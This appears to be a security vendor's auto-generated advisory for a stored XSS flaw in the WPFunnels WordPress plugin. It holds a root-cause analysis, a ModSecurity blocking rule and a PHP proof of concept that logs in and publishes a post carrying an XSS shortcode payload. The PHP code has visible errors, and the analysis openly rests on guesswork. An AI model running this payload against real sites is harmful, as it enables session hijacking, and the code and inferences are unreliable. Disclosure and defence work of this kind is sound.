Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-0626: WPFunnels <= 3.7.9 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpf_optin_form' Shortcode (wpfunnels)

CVE ID CVE-2026-0626
Plugin wpfunnels
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.7.9
Patched Version
Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0626 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WPFunnels WordPress plugin, affecting versions up to and including 3.7.9. The vulnerability resides in the ‘wpf_optin_form’ shortcode handler, specifically in the processing of the ‘button_icon’ parameter. Attackers with contributor-level privileges or higher can inject malicious scripts that persist in page content and execute when viewed.

Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping. The plugin likely fails to properly validate or escape user-supplied values passed to the ‘button_icon’ shortcode attribute before storing them in the database. When the shortcode renders on the front end, the unescaped value outputs directly into the HTML, allowing script execution. These conclusions are inferred from the CWE-79 classification and vulnerability description, as no source code diff is available for confirmation.

Exploitation requires an authenticated attacker with at least contributor privileges. The attacker creates or edits a post or page containing the ‘[wpf_optin_form]’ shortcode with a malicious ‘button_icon’ attribute. A typical payload might be: [wpf_optin_form button_icon=”“] or similar JavaScript injection. The payload stores in the post content. When any user visits the page, the script executes in their browser context.

Remediation requires proper output escaping and input validation. The patched version 3.8.0 likely implements WordPress escaping functions like esc_attr() for the ‘button_icon’ parameter output. Input validation might restrict the parameter to expected values (icon names or URLs). The fix should occur in both the shortcode handler (for storage) and the frontend rendering function (for output).

Successful exploitation allows attackers to perform actions within the victim’s session. This includes stealing session cookies, performing actions as the victim (like creating posts), redirecting users to malicious sites, or defacing pages. The stored nature means a single injection affects all subsequent visitors to the compromised page. The scope change (S:C in CVSS) indicates the vulnerability can impact users beyond the immediate page context.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-0626 (metadata-based)
# This rule blocks exploitation via the vulnerable 'wpf_optin_form' shortcode
# Targets posts containing the malicious 'button_icon' parameter
SecRule REQUEST_FILENAME "@endsWith /wp-admin/post.php" 
  "id:20260626,phase:2,deny,status:403,chain,msg:'CVE-2026-0626: WPFunnels Stored XSS via wpf_optin_form shortcode',severity:'CRITICAL',tag:'CVE-2026-0626',tag:'WordPress',tag:'WPFunnels',tag:'XSS'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx \[wpf_optin_form[^\]]*button_icon\s*=\s*['"]?[^'"]*[<>\(\[].*?\]" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0626 - WPFunnels <= 3.7.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpf_optin_form' Shortcode
<?php
/**
 * Proof of Concept for CVE-2026-0626
 * Assumptions based on vulnerability description:
 * 1. The plugin registers a shortcode 'wpf_optin_form'
 * 2. The 'button_icon' parameter is vulnerable to XSS
 * 3. Contributor+ users can create/edit posts with shortcodes
 * 4. WordPress nonce verification may be required for post updates
 */

$target_url = 'https://example.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: Basic XSS proof-of-concept
$payload = '[wpf_optin_form button_icon="" onmouseover=alert(1) x=""]';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => str_replace('/post.php', '/wp-login.php', $target_url),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1'
    ])
]);

$response = curl_exec($ch);

// Check login success by looking for admin dashboard elements
if (strpos($response, 'wp-admin') === false && strpos($response, 'logout') === false) {
    die('Login failed. Check credentials.');
}

// Create a new post with the malicious shortcode
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POSTFIELDS => http_build_query([
        'post_title' => 'CVE-2026-0626 Test',
        'content' => $payload . 'nnThis post contains a malicious WPFunnels shortcode.',
        'post_status' => 'publish',
        'action' => 'editpost',
        'post_type' => 'post',
        '_wpnonce' => $this->extract_nonce($response), // Requires nonce extraction function
        '_wp_http_referer' => '/wp-admin/post-new.php'
    ])
]);

$response = curl_exec($ch);
curl_close($ch);

// Helper function to extract nonce from admin page (simplified)
function extract_nonce($html) {
    // In a real PoC, you would parse the HTML to find the nonce
    // This is a placeholder for demonstration
    preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $html, $matches);
    return $matches[1] ?? '';
}

echo 'PoC executed. Check the published post for XSS execution.';
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School